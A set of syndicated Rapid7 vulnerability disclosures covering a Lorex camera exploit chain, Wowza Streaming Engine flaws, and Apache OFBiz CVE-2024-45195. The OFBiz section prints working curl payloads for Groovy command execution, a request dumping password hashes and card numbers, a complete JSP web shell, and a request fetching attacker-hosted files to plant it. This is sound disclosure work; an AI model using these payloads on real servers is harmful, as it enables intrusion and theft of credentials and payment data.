  • January 29, 2025: The PostgreSQL development group confirms the finding; Rapid7 and PostgreSQL developers agree on a coordinated disclosure date.
  • February 11, 2025: The PostgreSQL development group provides a CVE ID and affected versions.
  • February 13, 2025: This disclosure.

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2024/12/03/lorex-2k-indoor-wi-fi-security-camera-multiple-vulnerabilities-fixed/

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

The Lorex 2K Indoor Wi-Fi Security Camera is a consumer security device that provides cloud-based video camera surveillance capabilities. This device was a target at the 2024 Pwn2Own IoT competition. Rapid7 developed an unauthenticated remote code execution (RCE) exploit chain as an entry for the competition. On November 25, 2024, Lorex released a firmware update to resolve the five vulnerabilities that comprise the exploit chain reported by Rapid7. As of December 3, 2024, we are disclosing these issues publicly in coordination with the vendor.

Technical analysis

A detailed technical analysis for the exploit chain described in this blog can be found in Rapid7’s whitepaper here.

The accompanying source code for the exploit chain can be found here.

The exploit chain consists of five distinct vulnerabilities, which operate together in two phases to achieve unauthenticated RCE. The five vulnerabilities are listed below.

CVE Description Affected Component CVSS
CVE-2024-52544 An unauthenticated attacker can trigger a stack-based buffer overflow. DP Service (TCP port 3500) 9.8 (Critical)
CVE-2024-52545 An unauthenticated attacker can perform an out-of-bounds heap read. IQ Service (TCP port 9876) 6.5 (Medium)
CVE-2024-52546 An unauthenticated attacker can perform a null pointer dereference. DHIP Service (UDP port 37810) 5.3 (Medium)
CVE-2024-52547 An authenticated attacker can trigger a stack-based buffer overflow. DHIP Service (TCP port 80) 7.2 (High)
CVE-2024-52548 An attacker can bypass code signing enforcements and execute arbitrary native code. Kernel 6.7 (Medium)

Phase 1 performs an authentication bypass, allowing a remote unauthenticated attacker to reset the device’s admin password to a password of the attacker’s choosing. This phase leverages an unauthenticated stack-based buffer overflow, and an unauthenticated out-of-bounds (OOB) heap read vulnerability. The OOB heap read allows an attacker to leak secrets stored in the device’s memory that are required to compute a special code value; this code value is required for an administrator password reset to be performed. A null pointer dereference vulnerability is leveraged to force the device to reboot in order to allow the next phase to complete.

Phase 2 achieves remote code execution by leveraging the auth bypass in phase 1 to perform an authenticated stack-based buffer overflow and execute an operating system (OS) command with root privileges. This capability is then leveraged to write a file to disk and, in turn, bypass the device’s code signing enforcement in order to execute arbitrary native code. Finally, the exploit will execute a reverse shell payload to give the remote attacker a root shell on the target device.

An overview of the two phases chained together can be seen below.

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

Impact

A remote unauthenticated attacker can leverage CVE-2024-52544, CVE-2024-52545, and CVE-2024-52546 (Phase 1) to reset a target device’s admin password, to a password of the attacker’s choosing. With valid admin credentials, an attacker can then either view the live video and audio feed from the device, or proceed to leverage CVE-2024-52547 and CVE-2024-52548 (Phase 2) to achieve remote code execution with root privileges on the target device.

The below table lists the affected devices and firmware versions.

Device Firmware
W461AS-EG 2.800.00LR000.0.R.210907
W462AQ-EG 2.800.00LR000.0.R.210907
W461AS 2.800.00LR000.0.R.210730
W462AQ 2.800.00LR000.0.R.210730
W461AS-EG S2 2.800.0000000.3.R.20220331
W462AC-EG S2 2.800.0000000.3.R.20220331
W461AS 2.800.0000000.3.R.202203
W462AQ 2.800.0000000.3.R.202203
W461ASC 2.800.030000000.3.R

Credit

These vulnerabilities were discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

The following statement has been provided by the vendor.

Lorex Technology is dedicated to delivering the highest standards of protection and privacy for our customers and will collaborate with esteemed security experts to proactively identify and address potential vulnerabilities. In collaboration with Rapid7, we’ve been advised about one of our security cameras and successfully implemented a firmware update, which has fully resolved the identified security vulnerability.

Remediation

The following remediation steps have been provided by the vendor.

Our product team has decided to push the mandatory firmware updates to the devices. Upon opening Lorex app, users will be presented with the firmware update notice. User must accept the firmware update, and they cannot decline or postpone the firmware update. Camera will then flash new firmware and reboot. We advise that the users would not power down the camera during the firmware update. Once the camera reboots, the user can confirm that they have the latest version of firmware: V2.800.0000000.8.R.20241111

Disclosure timeline

October 29, 2024: Rapid7 contacts the vendor about the issues in this blog; vendor acknowledges.
October 31, 2024: Rapid7 shares disclosure write-up with the vendor.
November 4, 2024: Vendor indicates a patch is in development.
November 12, 2024: Rapid7 provides CVEs IDs for the issues identified.
November 13, 2024: Vendor verifies patch schedule.
November 19, 2024: Rapid7 and the vendor agree to a December 3, 2024 coordinated disclosure date.
December 3, 2024: This disclosure.

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/11/20/multiple-vulnerabilities-in-wowza-streaming-engine-fixed/

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Wowza Streaming Engine below v4.9.1 is vulnerable to multiple vulnerabilities on Linux and Windows. An unauthenticated attacker can poison the Wowza Streaming Engine Manager web dashboard with a stored cross-site scripting (“XSS”) payload. When an administrator views the poisoned dashboard, additional authenticated vulnerabilities will automatically be exploited for remote code execution on the underlying server. The code execution context is privileged: root on Linux, LocalSystem on Windows. These vulnerabilities are tracked as CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056. All five were patched on November 20, 2024, with the release of Wowza Streaming Engine v4.9.1.

Product description

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application.

Credit

These issues were reported to the Wowza Media Systems team by Ryan Emmons, Lead Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Wowza team for their assistance and collaboration.

Vulnerability details

The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research. Rapid7 identified multiple security vulnerabilities as part of this research project, and those vulnerabilities are outlined in the table below.

CVE Description CVSS
CVE-2024-52052 An authenticated administrator can define a custom application property and poison a stream target for high-privilege remote code execution. 9.4
CVE-2024-52053 An unauthenticated attacker can inject client-side JavaScript into the administrator dashboard to automatically hijack admin accounts. 8.7
CVE-2024-52054 An injection permits an administrator user to create an XML file anywhere on the file system. 5.1
CVE-2024-52055 An injection permits an administrator user to read any file on the file system if the target directory contains an XML file. 8.2
CVE-2024-52056 An injection permits an administrator user to delete any directory on the host system if the target directory contains an XML file. 6.9

Exploitation was tested against Wowza Streaming Engine on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. Based on information provided by the vendor, the unauthenticated injection vulnerability affects all Wowza Streaming Engine Manager versions, while the four authenticated vulnerabilities were introduced in v4.3.0.

Vendor statement

“We at Wowza Media Systems are focused on security excellence, and by partnering with trusted researchers like Rapid7, we proactively respond to and fix vulnerabilities to safeguard our customers’ interests.”

Mitigation guidance

Per to the vendor, issues in this disclosure can be remediated by upgrading to Wowza Streaming Engine version 4.9.1 or any future version.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 with authenticated vulnerability checks expected to be available in the November 20, 2024 content release.

Disclosure timeline

July 30, 2024 – September 3, 2024: Rapid7 attempts to contact the vendor to disclose vulnerabilities discovered in Wowza Streaming Engine.
September 3, 2024: Rapid7 makes contact with the vendor, who acknowledges disclosure materials.
September 5, 2024 – September 18, 2024: Rapid7 and vendor discuss coordinated vulnerability disclosure steps and timeline.
October 2, 2024: Vendor communicates Q4 remediation timeline.
October 31, 2024: Patch shared with Rapid7 for testing.
November 4, 2024: Rapid7 confirms the patch is successful.
November 5, 2024: Rapid7 provides CVE IDs.
November 15, 2024: Vendor proposes Wednesday, November 20 for coordinated vulnerability disclosure. Rapid7 agrees.
November 20, 2024: This disclosure.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.

Product Description

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.

Credit

This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.

Vulnerability Context

A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.

CVE-2024-32113

The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.

As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.

CVE-2024-36104

The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.

                    String uRIFiltered = new URI(initialURI)
                            .normalize().toString()
                            .replaceAll(";", "")
                            .replaceAll("(?i)%2e", "");
                    if (!initialURI.equals(uRIFiltered)) {
                        Debug.logError("For security reason this URL is not accepted", MODULE);
                        throw new RuntimeException("For security reason this URL is not accepted");

This CVE was patched in v18.12.14.

Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.

curl 'https://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'https://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

CVE-2024-38856

The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don’t explicitly check user’s permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.

SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.

An example payload for this vulnerability is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k

This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.

The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport and EntitySQLProcessor, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.

if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
    return
}

As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.

Exploitation

To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri and overrideViewUri variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport or EntitySQLProcessor. Our testing target was v18.12.15, the latest version available at the time of research.

The framework/webtools/widget/EntityScreens.xml file defines some EntityScreens that might be leveraged by an attacker.

$ grep 'script' framework/webtools/widget/EntityScreens.xml
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntitySQLProcessor.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ProgramExport.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityMaint.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/FindGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewRelations.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRef.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRefList.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/CheckDb.groovy"/>
                <script location="component://webtools/src/test/groovy/org/apache/ofbizwebtools/entity/EntityPerformanceTest.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/XmlDsDump.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ModelInduceFromDb.groovy"/>
[..SNIP..]

We can’t useProgramExport or EntitySQLProcessor this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump, is below.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

As shown above, the XmlDsDump view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy does not enforce authorization checks.

As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.

curl 'https://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k

Watching the request in a debugger confirms that the requestUri and overrideViewUri value confusion is still possible in RequestHandler.java. This is depicted in the screenshot below, where our cURL request has resulted in requestUri being set to the unauthenticated endpoint and overrideViewUri being set to the authenticated view.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.

$ curl 'https://target:8443/common/stolen.txt' -k
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
    <CreditCard paymentMethodId="AMEX_01" cardType="CCT_AMERICANEXPRESS" cardNumber="378282246310005" expireDate="02/2100" companyNameOnCard="Your Company Name" firstNameOnCard="Smart" lastNameOnCard="Guy" contactMechId="9000" lastUpdatedStamp="2024-08-15 23:31:30.077" lastUpdatedTxStamp="2024-08-15 23:31:28.811" createdStamp="2024-08-15 23:31:30.077" createdTxStamp="2024-08-15 23:31:28.811"/>
    <CreditCard paymentMethodId="9015" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="DEMO" lastNameOnCard="CUSTOMER" contactMechId="9015" lastUpdatedStamp="2024-08-15 23:31:48.815" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.815" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="EUROCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="EURO" lastNameOnCard="CUSTOMER" contactMechId="EUROCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.898" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.898" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="FRENCHCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="FRENCH" lastNameOnCard="CUSTOMER" contactMechId="FRENCHCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.967" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.967" createdTxStamp="2024-08-15 23:31:36.309"/>
    <UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2024-08-15 23:31:10.984" lastUpdatedTxStamp="2024-08-15 23:31:10.9" createdStamp="2024-08-15 23:31:06.603" createdTxStamp="2024-08-15 23:31:06.515" partyId="system"/>
    <UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2024-08-15 23:31:06.637" lastUpdatedTxStamp="2024-08-15 23:31:06.515" createdStamp="2024-08-15 23:31:06.637" createdTxStamp="2024-08-15 23:31:06.515"/>
    <UserLogin userLoginId="admin" currentPassword="{SHA}47b56992cbc2b6d10aa1be30f20165adb305a41a" enabled="Y" lastTimeZone="America/Chicago" successiveFailedLogins="2" lastUpdatedStamp="2024-08-16 01:12:07.386" lastUpdatedTxStamp="2024-08-16 01:12:07.386" createdStamp="2024-08-15 23:31:25.561" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="flexadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.341" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.564" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="demoadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.342" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.565" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="ltdadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.343" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.566" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin"/>
    <UserLogin userLoginId="ltdadmin1" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.344" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.567" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin1"/>
    <UserLogin userLoginId="bizadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.345" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.568" createdTxStamp="2024-08-15 23:31:25.556" partyId="bizadmin"/>
[..SNIP..]

The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.

Within controller.xml, a view map called viewdatafile is defined at [0].

[..SNIP..]
    <view-map name="xmldsdump" type="screen" page="component://webtools/widget/EntityScreens.xml#xmldsdump"/>
    <view-map name="xmldsrawdump" page="template/entity/xmldsrawdump.jsp"/>

    <view-map name="FindUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCache"/>
    <view-map name="FindUtilCacheElements" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCacheElements"/>
    <view-map name="EditUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#EditUtilCache"/>

    <view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/> [0]

    <view-map name="LogConfiguration" type="screen" page="component://webtools/widget/LogScreens.xml#LogConfiguration"/>
    <view-map name="LogView" type="screen" page="component://webtools/widget/LogScreens.xml#LogView"/>
    <view-map name="FetchLogs" type="screen" page="component://webtools/widget/LogScreens.xml#FetchLogs"/>
[..SNIP..]

Within framework/webtools/widget/MiscScreens.xml, viewdatafile is associated with the script ViewDataFile.groovy (at [1]).

[..SNIP..]
    <screen name="viewdatafile">
        <section>
            <actions>
                <set field="headerItem" value="main"/>
                <set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
                <set field="tabButtonItem" value="data"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/datafile/ViewDataFile.groovy"/> [1]
            </actions>
            <widgets>
                <decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
                    <decorator-section name="body">
                        <screenlet>
                            <platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
                        </screenlet>
                    </decorator-section>
                </decorator-screen>
            </widgets>
        </section>
    </screen>
[..SNIP..]

That script is below. It checks for various request parameters (starting at [2]) to perform file operations. At [3], if DATAFILE_SAVE is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE.

package org.apache.ofbiz.webtools.datafile

import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader

uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []

dataFileSave = request.getParameter('DATAFILE_SAVE') [2]

entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')

dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')

try {
    dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

try {
    definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

definitionNames = null
if (definitionUrl) {
    try {
        ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
        if (reader) {
            definitionNames = ((Collection)reader.getDataFileNames()).iterator()
            context.put('definitionNames', definitionNames)
        }
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
    try {
        dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
        context.put('dataFile', dataFile)
    }
    catch (Exception e) {
        messages.add(e.toString()); Debug.log(e)
    }
}

if (dataFile) {
    modelDataFile = dataFile.getModelDataFile()
    context.put('modelDataFile', modelDataFile)
}

if (dataFile && dataFileSave) { [3]
    try {
        dataFile.writeDataFile(dataFileSave)
        messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

if (dataFile && entityXmlFileSave) {
    try {
        //dataFile.writeDataFile(entityXmlFileSave)
        DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
        messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}
context.messages = messages

Apache OFBiz also ships with some example data files in datafiles.adoc. An excerpt of that text is included below.

[..SNIP..]
== Examples

=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]

021196033702    ,5031BB GLITTER GLUE PENS BRIGH  ,1           ,5031BB      ,       1,     299,
021196043121    ,BB4312 WONDERFOAM ASSORTED      ,1           ,BB4312      ,       1,     280,
021196055025    ,9905BB  PLUMAGE MULTICOLOURED   ,1           ,9905BB      ,       4,     396,

=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="posreport" separator-style="fixed-length" type-code="text">
            <record name="tillentry" limit="many">
                <field name="tillCode" type="String" length="16" position="0"></field>
                <field name="name" type="String" length="32" position="17"></field>
                <field name="prodCode" type="String" length="12" position="63"></field>
                <field name="quantity" type="String" length="8" position="76"></field>
                <field name="totalPrice" type="String" length="8" position="85"></field>
            </record>
        </data-file>
    </data-files>

.Another example reading fixed record little endian binary files
[source, xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="stockdata" separator-style="fixed-record" type-code="text" record-length="768">
            <record name="stockdataitem" limit="many">
                <field name="barcode" type="NullTerminatedString" length="12" position="0"></field>
                <field name="prodCode" type="NullTerminatedString" length="12" position="68"></field>
                <field name="price" type="LEInteger" length="4" position="80"></field>
                <field name="name" type="NullTerminatedString" length="30" position="16"></field>
            </record>
        </data-file>
    </data-files>

=== Procedure:
In the interface enter something like:

. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv

This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL and DATAFILE_IS_URL parameters.

Below is our malicious definition file, rceschema.xml. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>

Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.

$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

After the server fetches and processes our two files, browsing the targeted accounting/index.jsp path confirms that we’ve established unauthenticated remote code execution.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Remediation

We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.

Rapid7 Customers

